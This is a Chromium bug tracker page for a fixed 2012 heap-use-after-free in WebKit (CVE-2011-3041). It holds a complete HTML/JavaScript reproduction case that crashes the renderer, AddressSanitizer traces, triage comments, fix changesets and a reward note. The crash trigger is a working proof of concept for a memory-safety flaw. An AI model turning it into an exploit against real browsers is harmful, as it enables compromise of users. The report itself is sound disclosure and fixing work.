New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 1 user

Issue metadata

Status: Fixed
Owner:
Closed: Feb 2012
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 1
Type: Bug-Security

Restricted
  • Only users with EditIssue permission may comment.



Sign in to add a comment

Heap-use-after-free in WebCore::HTMLElement::isPresentationAttribute

Reported by miau...@gmail.com, Feb 13 2012

Issue description

VULNERABILITY DETAILS
use-after-free in Element::attributeChanged

VERSION
Chrome Version: stable beta dev

Chromium	19.0.1040.0 (Developer Build 121661)
OS	Linux
WebKit	535.21 (@107445)

Operating System: 64bit linux

REPRODUCTION CASE
<html>
  <head>
    <style>
      #el2 {
        display: block;
        border-bottom-style: ridge;
        border-left-style: ridge;
      }
    </style>
    <script>
      onload = function() {
        el0=document.createElement('table')
        document.body.appendChild(el0)
        el1=document.createElement('div')
        document.body.appendChild(el1)
        el1.appendChild(document.createTextNode('A'))
        el2=document.createElement('s')
        el2.setAttribute('id','el2')
        el2.setAttribute('class', '')
        el1.appendChild(el2)
        document.body.appendChild(el2)
        el2.addEventListener('DOMSubtreeModified', function(){ el2.removeAttribute('class') }, false)
        document.body.removeChild(el0)
        document.designMode='on'
        document.execCommand('selectall')
        document.execCommand('insertText', false, '')
        document.execCommand('Undo')
      }
    </script>
  </head>
  <body>
  </body>
</html>

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: renderer + asan
Crash State: 

==16571== ERROR: AddressSanitizer heap-use-after-free on address 0x7fffe8077688 at pc 0x55555996ea74 bp 0x7fffffff82c0 sp 0x7fffffff82b8
READ of size 8 at 0x7fffe8077688 thread T0
    #0 0x55555996ea74 in WebCore::Element::attributeChanged(WebCore::Attribute*) ???:0
    #1 0x5555599a3323 in WebCore::NamedNodeMap::setAttributes(WebCore::NamedNodeMap const&) ???:0
    #2 0x55555aa0ccf3 in WebCore::swapInNodePreservingAttributesAndChildren(WebCore::HTMLElement*, WebCore::HTMLElement*) third_party/WebKit/

0x7fffe8077688 is located 8 bytes inside of 24-byte region [0x7fffe8077680,0x7fffe8077698)
freed by thread T0 here:
    #0 0x55555da8f322 in free ??:0
    #1 0x555559979f2b in WebCore::Element::removeAttribute(WTF::String const&) ???:0
    #2 0x55555b06ea0c in WebCore::ElementInternal::removeAttributeCallback(v8::Arguments const&) out/Release/obj/gen/webkit/bindings/


 
824.txt
12.1 KB View Download
824.html
964 bytes View Download
beta-824.txt
12.3 KB View Download
stable-824.txt
12.7 KB View Download

Comment 1 by tsepez@chromium.org, Feb 13 2012

Labels: -Area-Undefined Area-WebKit SecSeverity-Medium SecImpacts-Stable SecImpacts-Beta Mstone-18

Comment 3 by tsepez@chromium.org, Feb 13 2012

Status: Available
Summary: Heap-use-after-free in WebCore::HTMLElement::isPresentationAttribute
Detailed report: https://cluster-fuzz.appspot.com/testcase?key=20173015

Uploader: inferno@chromium.org

Crash Type: Heap-use-after-free READ 8
Crash Address: 0x7f294a5bd388
Crash State:
  - crash stack -
  WebCore::HTMLElement::isPresentationAttribute
  WebCore::StyledElement::attributeChanged
  - free stack -
  WebCore::Element::removeAttribute
  WebCore::ElementInternal::removeAttributeCallback
  
Regressed: https://cluster-fuzz.appspot.com/revisions?range=121698:121709

Minimized Testcase (0.84 Kb): https://cluster-fuzz.appspot.com/download/AMIfv94e8-2qiuIMGeMJFqYLKiE4aU2uHioNVohTTQzS7BqCb4bI-zohVIiVSlnJ18DUkAxmaanAQ-v5UhrynwuaKN_cwvSJrTZtyvjtGp2ti0oebv5s_le3ayyu_KangP1jIJnnmfX1wzXedWEpY9n9LuG8J1yu9g
ignore regression range on CF, this bug changes stack after kling@'s changeset.
Labels: -Mstone-18 Mstone-17
SecImpacts Stable is M17
Labels: -Pri-0 -SecSeverity-Medium Pri-1 SecSeverity-High Stability-AddressSanitizer OS-All
fixing severity.
Owner: infe...@chromium.org
Status: Started
Cc: rniwa@chromium.org adamk@chromium.org
We need to uptake some functional fixes to retain correct behavior after my security fix. e.g.  http://trac.webkit.org/changeset/103611. Adam (adamk@), can you please check if there were more dependencies ? 

Chris, AFTER Merging, please do run fast/dom/getElementsByClassName/015.html to make sure PASS is displayed. otherwise, we might need to merge more functional fixes.
Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify Merge-Approved
Status: FixUnreleased
http://trac.webkit.org/changeset/107726
Labels: reward-topanel
Labels: -Merge-Approved Merge-Merged
fast/dom/getElementsByClassName/015.html PASS
M17: http://trac.webkit.org/changeset/109477
M18: http://trac.webkit.org/changeset/109479
Labels: -reward-topanel reward-1000 reward-unpaid
$1000

----
Boilerplate text:
Please do NOT publicly disclose details until a fix has been released to all our
users. Early public disclosure may cancel the provisional reward.
Also, please be considerate about disclosure when the bug affects a core library
that may be used by other products.
Please do NOT share this information with third parties who are not directly
involved in fixing the bug. Doing so may cancel the provisional reward.
Please be honest if you have already disclosed anything publicly or to third parties.
----
Labels: CVE-2011-3041
Labels: -reward-unpaid

Comment 16 by cdn@chromium.org, May 15 2012

Status: Fixed
Marking old security bugs Fixed..
Project Member

Comment 17 by bugdroid1@chromium.org, Oct 13 2012

Labels: Restrict-AddIssueComment-Commit
This issue has been closed for some time. No one will pay attention to new comments.
If you are seeing this bug or have new data, please click New Issue to start a new bug.
Project Member

Comment 18 by bugdroid1@chromium.org, Mar 10 2013

Labels: -Type-Security -Area-WebKit -SecSeverity-High -SecImpacts-Stable -SecImpacts-Beta -Mstone-17 -Stability-AddressSanitizer Cr-Content Security-Impact-Stable Security-Impact-Beta Security-Severity-High Type-Bug-Security M-17 Performance-Memory-AddressSanitizer
Project Member

Comment 19 by bugdroid1@chromium.org, Mar 13 2013

Labels: Restrict-View-EditIssue
Project Member

Comment 20 by bugdroid1@chromium.org, Mar 13 2013

Labels: -Restrict-AddIssueComment-Commit Restrict-AddIssueComment-EditIssue
Labels: -Restrict-View-SecurityNotify -Restrict-View-EditIssue
Project Member

Comment 22 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Severity-High Security_Severity-High
Project Member

Comment 23 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Impact-Stable Security_Impact-Stable
Project Member

Comment 24 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Impact-Beta Security_Impact-Beta
Project Member

Comment 25 by bugdroid1@chromium.org, Apr 1 2013

Labels: -Performance-Memory-AddressSanitizer Stability-Memory-AddressSanitizer
Project Member

Comment 26 by bugdroid1@chromium.org, Apr 6 2013

Labels: -Cr-Content Cr-Blink
Project Member

Comment 27 by sheriffbot@chromium.org, Jun 14 2016

Labels: -security_impact-beta
Project Member

Comment 28 by sheriffbot@chromium.org, Oct 1 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 29 by sheriffbot@chromium.org, Oct 2 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic
Labels: CVE_description-submitted

Sign in to add a comment